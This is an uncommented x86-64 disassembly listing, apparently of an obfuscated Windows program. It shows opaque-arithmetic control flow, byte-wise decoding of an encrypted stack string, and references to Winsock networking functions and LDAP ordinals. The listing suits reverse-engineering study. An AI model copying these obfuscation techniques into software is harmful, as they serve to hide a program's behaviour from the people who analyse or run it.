sub dil, 0x38
cmp r10, 4
jb 0x140205ac3
movabs rcx, 0x338017b566f0b9d8
add rcx, r9
mov al, cl
and al, r8b
mov edx, ntohl
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x140205c7d
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0x1000
je 0x140205afe
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x1402058b5
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14020565c
movabs rdx, 0x74d06cabcb703da8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140205b46
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x140205cee
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_45
jmp 0x140205bc1
movabs rcx, 0xae051ffb7a16c950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x140205bfa
movabs rdx, 0xc116b11609a3a288
mov ecx, r15d
jmp 0x140205c35
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x140205ca5
movabs rdx, 0xe739d34b28bd54f8
mov ecx, Ordinal_32
jmp 0x140205c6a
lea rax, [r10 + 0x41]
cmp rbx, rax
jae 0x14020581c
lea rdx, [r9 + r11]
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1402056e8
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14020584c
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140205d1a
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140205869
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x140205b33
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140205894
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x140205cee
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1402056e8
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_45
jmp 0x140205c35
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1402058e1
movabs rcx, 0x2756a53b562b459c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x44
jmp 0x140205c7d
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140205911
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140205ca5
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14020593c
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r15b
jmp 0x140205ceb
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140205968
movabs rcx, 0xb4ed3e9bf8de2e4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x14
jmp 0x140205b46
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140205998
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140205b7a
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x14020565c
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x140205d1a
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1402059e5
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x140205834
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140205a02
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x140205b33
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140205a1f
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x140205bc1
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140205a4b
movabs rcx, 0x7fc65c1fa5241eb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140205bfa
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140205a76
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r14b
jmp 0x140205cc8
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140205a93
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x1402058f9
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x140205694
movabs rcx, 0x4691a8cff67d9310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x140205c7d
mov byte [rbp + r9 + 0x9b0], dil
jmp 0x140205d29
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 + 0x9b0]
sub dil, al
sub dil, 0x60
add dil, dl
add dil, r8b
jmp 0x140205bfa
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x9b0]
jmp 0x140205b40
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x9b0], al
add r10, r12
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x50
add r8b, cl
mov byte [rbp + r9 + 0x9b0], r8b
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140205d1a
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140205ceb
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4c
add dil, dl
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1c
add cl, dil
add cl, r8b
mov byte [rbp + r9 + 0x9b0], cl
jmp 0x140205ceb
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140205cc8
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x140205c6a
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x9b0], cl
add r10, r12
jmp 0x140205cc8
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
sub r9, r12
jmp 0x140205d29
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x14
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140205d29
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x34
movzx eax, byte [rbp + r9 + 0x9b0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x140205265
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_45
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140205262
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x34
jmp 0x140205252
lea rdx, [rbp + 0x16f10e0]
jmp 0x140205d94
lea rdx, [rbp + 0x68a444]
jmp 0x140205d94
lea rdx, [rbp + 0x9b0]
lea rcx, [rbp + 0x238]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2fc0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140205dc9
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov r9d, esi
mov r8d, 2
lea rcx, [rbp + 0x2fc0]
call fcn.140174580
nop
lea rcx, [rbp + 0x2fc0]
call fcn.14024e690
nop
lea rcx, [rbp + 0x2fc0]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0x880], 0xcb
mov byte [rbp + 0x881], Ordinal_143
mov byte [rbp + 0x882], 0xac
mov byte [rbp + 0x883], 0xf3
mov byte [rbp + 0x884], Ordinal_79
mov byte [rbp + 0x885], 0xf1
mov byte [rbp + 0x886], WSASetLastError
mov byte [rbp + 0x887], 0xf7
mov byte [rbp + 0x888], 0x55
mov byte [rbp + 0x889], 0xf5
mov byte [rbp + 0x88a], 0xa2
mov byte [rbp + 0x88b], 0xfb
mov byte [rbp + 0x88c], 0x66
mov byte [rbp + 0x88d], 0xf9
mov byte [rbp + 0x88e], 0x55
mov byte [rbp + 0x88f], 0xff
mov byte [rbp + 0x890], 0x59
mov byte [rbp + 0x891], 0xfd
mov byte [rbp + 0x892], WSACleanup
mov byte [rbp + 0x893], 0xe3
mov byte [rbp + 0x894], 0x47
mov byte [rbp + 0x895], 0xe1
mov byte [rbp + 0x896], Ordinal_79
mov byte [rbp + 0x897], 0xe7
mov byte [rbp + 0x898], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x899], 0xe5
mov byte [rbp + 0x89a], 0x42
mov byte [rbp + 0x89b], 0xeb
mov byte [rbp + 0x89c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x89d], 0xe9
mov byte [rbp + 0x89e], sil
mov byte [rbp + 0x89f], 0xef
mov byte [rbp + 0x8a0], 0xb8
mov byte [rbp + 0x8a1], 0xed
mov byte [rbp + 0x8a2], 0x87
mov byte [rbp + 0x8a3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x8a4], 0x44
mov byte [rbp + 0x8a5], Ordinal_211
mov byte [rbp + 0x8a6], sil
mov byte [rbp + 0x8a7], Ordinal_217
mov byte [rbp + 0x8a8], 0x81
mov byte [rbp + 0x8a9], Ordinal_217
mov byte [rbp + 0x8aa], 0x7e
mov byte [rbp + 0x8ab], 0xdb
mov byte [rbp + 0x8ac], 0x7c
mov byte [rbp + 0x8ad], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x8ae], WSACleanup
mov byte [rbp + 0x8af], 0xdf
mov byte [rbp + 0x8b0], Ordinal_143
mov byte [rbp + 0x8b1], 0xdd
mov byte [rbp + 0x8b2], 0x64
mov byte [rbp + 0x8b3], Ordinal_200
mov byte [rbp + 0x8b4], WSAGetLastError
mov byte [rbp + 0x8b5], 0xc1
mov byte [rbp + 0x8b6], 0x54
mov byte [rbp + 0x8b7], Ordinal_200
mov byte [rbp + 0x8b8], Ordinal_200
mov byte [rbp + 0x8b9], Ordinal_200
xor eax, eax
mov dword [rbp + 0x8ba], eax
mov word [rbp + 0x8be], ax
mov dil, byte [rsp + 0x50]
call fcn.14024ffe8
mov rbx, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r9, r13
cmp r9, rsi
jae 0x140206be0
movzx r8d, byte [rbp + r9 + 0x880]
mov r11, r8
cmp rbx, r9
ja 0x140206bd7
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14020600e
movabs r14, 0xda32561d88143dbe
lea rcx, [r9 + r14]
mov rax, r8
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r8
add rdi, rcx
sub dil, 0x32
jmp 0x140206052
je 0x140206b47
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140206aef
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140206a95
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140206a6b
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140206a20
movabs r14, 0xda32561d88143dbe
cmp r10, r9
ja 0x140206bce
lea rax, [r10 + 4]
cmp rbx, rax
jae 0x140206087
movabs rdx, 0xe621106c29a91096
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x1a
jmp 0x14020629b
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140206a00
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1402069dc
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1402069aa
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140206996
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1402065c0
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x14020659d
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x140206589
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x140206565
lea rax, [r10 + 9]
cmp rbx, rax
je 0x140206551
lea rax, [r10 + 8]
cmp rbx, rax
je 0x14020652d
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x140206509
lea rax, [r10 + 0x41]
cmp rbx, rax
je 0x1402064e5
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x1402064c2
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14020649b
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x1402060c8
lea rbx, [r10 + 0x200]
lea r10, [rbx + 0x28]
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x140206ba7
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x140206b80
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x1402062ca
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x1402062a3
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x14020627d
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x140206477
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x140206463
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x140206440
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x140206411
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x1402060c8
lea rbx, [r10 + 0x64]
lea r10, [rbx + 0x400]
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1402063fd
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x1402063da
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x1402063b7
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x140206390
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x14020636d
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x14020634c
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x140206328
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x140206304
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x1402062f0
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x1402060c8
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 1]
jmp 0x1402060c8
movabs rdx, 0x7954c208e2fd862a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x26
add dil, dl
jmp 0x1402060bb
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140206052
movabs rdx, 0x108b6992c2ac8f32
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5e
add dil, dl
jmp 0x140205fd5
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x140206a2f
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
jmp 0x140206a66
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 8
jmp 0x140206a8d
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140206937
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, sil
jmp 0x140206968
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1402069c9
movabs rdx, 0xf6ac79feec559fc8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x78
jmp 0x140206ab6
movabs rdx, 0x4247cdc3dc2d244c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x14
jmp 0x140206b11
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x1402064aa
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r9 + 0x880], dil
jmp 0x140206b78
movabs rdx, 0x9682c6ba1376f89e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x52
jmp 0x140206659
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x14020660f
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1402065e2
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140206b69
movabs rdx, 0xb061b64de9cde808
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x38
jmp 0x140206b11
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140206ab6
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x70
jmp 0x1402069c9
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0xc
jmp 0x140206968
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_45
jmp 0x14020635b
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x44
jmp 0x140206a8d
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140206753
movabs rdx, 0xc1a100b078b287a4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7c
jmp 0x140206a3f
lea rax, [r10 + 8]
cmp rbx, rax
jae 0x140206691
lea rdx, [r9 + r14]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x32
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 6
je 0x14020696d
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x14020676b
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp rbx, rsi
jae 0x140206914
lea rax, [r10 + 0x200]
cmp rbx, rax
jbe 0x140206851
movabs rdx, 0xe41f9575967bc6dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
add dil, dl
cmp r10, 0x1000
jb 0x140206433
movabs rdx, 0xf00e4fc4381099b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140206a42
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1402066be
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x34
jmp 0x140206b69
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1402066db
movabs rdx, 0x350b794e73a31824
mov ecx, 2
jmp 0x1402064f4
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14020670b
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140206968
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140206737
movabs rdx, 0x52397dffa41c8a98
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x28
jmp 0x14020693a
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1402065e5
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140206a66
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140206797
movabs rdx, 0xb26331447cfb31c2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4e
jmp 0x140206a3f
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1402067c3
movabs rdx, 0xcf9135f5ad74a436
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7a
jmp 0x14020693a
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1402067f3
movabs rdx, 0x83f5e230bd9d1fb2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140206968
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140206820
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x42
jmp 0x1402069c9
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140206622
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6e
jmp 0x140206b69
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14020687e
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x140206b69
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1402068aa
movabs rdx, 0x14d9a26c6f53950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x30
jmp 0x140206ab6
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1402068c7
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x1402066f3
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1402068e4
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140206a7a
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14020665c
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r15b
jmp 0x140206a66
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r9 + 0x880]
sub dil, al
sub dil, 0x50
add dil, r8b
add dil, dl
movabs rcx, 0x7ea5521cd04d52ee
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0x3f
sub dl, al
add dl, dl
add dl, cl
add dl, dil
add dl, r8b
mov byte [rbp + r9 + 0x880], dl
add rbx, r10
jmp 0x1402069c9
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x880]
jmp 0x140206501
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x1402064f4
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x72
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140206b78
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x46
jmp 0x140206a8d
movabs rdx, 0x9a85bca739d18c12
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7e
jmp 0x140206a3f
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r8b
mov byte [rbp + r9 + 0x880], cl
add r10, r12
jmp 0x140206a8d
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
sub r9, r12
jmp 0x140206b78
mov r8, r11
movabs rdx, 0xf7605aceb88db032
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov dil, r11b
sub dil, al
sub dil, 0x5e
add dil, dl
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x880], al
add r10, r12
add rax, r10
sub r9, rax
jmp 0x140206b14
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
mov r8b, r11b
add dil, dl
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x880], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140206b69
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r9 + 0x880]
add rax, r10
add r9, rax
add r9, r12
jmp 0x140205fc3
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140205fc0
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
